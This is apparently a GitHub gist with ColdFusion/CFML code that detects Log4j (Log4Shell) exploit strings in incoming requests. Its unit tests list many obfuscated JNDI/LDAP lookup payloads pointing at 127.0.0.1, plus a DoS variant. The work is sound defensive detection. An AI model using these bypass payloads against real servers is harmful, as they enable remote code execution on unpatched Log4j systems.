Skip to content

Instantly share code, notes, and snippets.

@JamoCA
Last active December 29, 2021 22:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JamoCA/6a8c612645b1b7c47eba8e317ad51d23 to your computer and use it in GitHub Desktop.
Save JamoCA/6a8c612645b1b7c47eba8e317ad51d23 to your computer and use it in GitHub Desktop.
Log4j Exploit Pattern Detection Using ColdFusion\CFML
<!--- getRequestAsText() and containsLog4jExploit() ColdFusion UDF proof-of-concept
2021-12-21
by James Moberg https://www.sunstarmedia.com/
https://gist.github.com/JamoCA/6a8c612645b1b7c47eba8e317ad51d23
Tested on CF2016+ and Lucee (using TryCF.com).
--->
<cfscript>
string function getRequestAsText() output=false hint="I return HTTP header, url and form data as text" {
var response = getHttpRequestData();
var responseText = [];
var temp = {"lf":chr(10)};
for (temp.header in response.headers){
arrayAppend(responseText, "#temp.header#: #response.headers[temp.header]#");
}
responseText = arrayToList(responseText, temp.lf);
responseText = responseText & temp.lf & "ip: " & cgi.remote_addr;
for (temp.field in URL){
responseText = responseText & temp.lf & "url-#temp.field#: " & URL[temp.field];
}
for (temp.field in FORM){
if (temp.field neq "FIELDNAMES") responseText = responseText & temp.lf & "form-#temp.field#: " & FORM[temp.field];
}
return trim(responseText);
}
boolean function containsLog4jExploit(string inputString="") output=false hint="I sanitize string and perform regex to identify exploit" {
local.pattern = "(?i)j1n2d3i5\:(ldap|rmi|ldaps|dns)";
local.text = canonicalize(arguments.inputString, false, false);
local.text = local.text.replaceAll("\s", "");
local.text = local.text.replaceAll("\$\{\:{1,2}\-([a-zA-Z]+)?\}", "$1");
local.text = local.text.replaceAll("\$\{\:\-\:\}", "\:");
local.text = local.text.replaceAll("\$\{(upper|lower)\:(.+?)\}", "$2");
local.text = local.text.replaceAll("(?i)\$\{(env|sys)\:.*?\:\-(.+?)\}", "$2");
local.text = local.text.replaceAll("(?i)\$\{date\:\'(.+?)\'\}", "$1");
local.text = local.text.replaceAll("(?i)\$\{[a-zA-z_0-9]+\:[a-zA-z_0-9]+\:\-(.+?)\}", "$1");
return javacast("boolean", reFindNoCase(local.pattern.replaceAll("\d",""), local.text));
}
// Unit test samples are from https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
// and https://log4j-tester.trendmicro.com/
tests = [
"1. System variables": "${${env:EN_AME:-j}ndi${env:EN_AME:-:}${env:EN_AME:-l}dap${env:EN_AME:-:}//127.0.0.1/z}"
,"2. Lower lookup": "${${lower:j}n" & "di:${lower:l}${lower:d}a${lower:p}://127.0.0.1/z}"
,"2. Upper lookup": "${${upper:j}n" & "di:${upper:l}${upper:d}a${upper:p}://127.0.0.1/z}"
,"3. '::-' notation": "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/z}"
,"4. Invalid Unicode characters with upper": "${jnd${upper:ı}:ldap://127.0.0.1/z}"
,"5. System properties": "${jnd${sys:SYS_NAME:-i}:ldap:/127.0.0.1/z}"
,"6. ':' notation": "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://127.0.0.1/z}"
,"7. Date": "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://127.0.0.1/z}"
,"8. HTML URL Encoding": "%24%7Bjn" & "di%3A" & "ldap://127.0.0.1/z%7D"
,"9. Non-existent lookup": "${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://127.0.0.1/z}"
,"11. Unicode Characters": "${\u006a\u006e\u0064\u0069:ldap://127.0.0.1/z}"
,"12. Trick with ## (works on log4j 2.15)": "$" & "{" & "jndi" & ":ldap://127.0.0.1##baddomain.com/z}"
,"13. DoS attack": "${${::-${::-$${::-j}}}}" // not currently supported. may be too difficult to sanitize/detect.
,"TrendMicro-system environment": "${${env:3910238:-j}ndi${env:3910238:-:}${env:3910238:-l}dap${env:3910238:-:}//127.0.0.1/z}"
,"TrendMicro-system properties": "${${sys:3910238:-j}ndi${sys:3910238:-:}${sys:3910238:-l}dap${sys:3910238:-:}//127.0.0.1/z}"
,"TrendMicro-lower special": "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}${:-d}${:-i}${:-:}${:-l}${:-d}${:-a}${:-p}${:-:}${:-/}${:-/}127.0.0.1/z}"
,"Current Header/URL/Form": getRequestAsText()
];
</cfscript>
<h2>Log4j Detection Unit Tests</h2>
<cfset cr = 0>
<cfoutput>
<cfloop collection="#tests#" item="test">
<cfset cr += 1>
<cfset isBad = containsLog4jExploit(tests[test])>
<fieldset><legend<cfif isBad> style="color:red;"</cfif>>[#cr#/#structCount(tests)#] #test# = <b>#isBad#</b></legend>
<pre>#encodeForHTML(tests[test])#</pre>
</fieldset>
</cfloop>
</cfoutput>
@JamoCA
Copy link
Author

JamoCA commented Dec 29, 2021

Updated on 12/29/2021 to remove spaces prior to performing regex replacements.

@JamoCA
Copy link
Author

JamoCA commented Dec 29, 2021

Updated on 12/29/2021 to block rmi, ldaps & dns (versus only ldap) based on feedback from Google Cloud:
https://cloud.google.com/blog/products/identity-security/recommendations-for-apache-log4j2-vulnerability

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment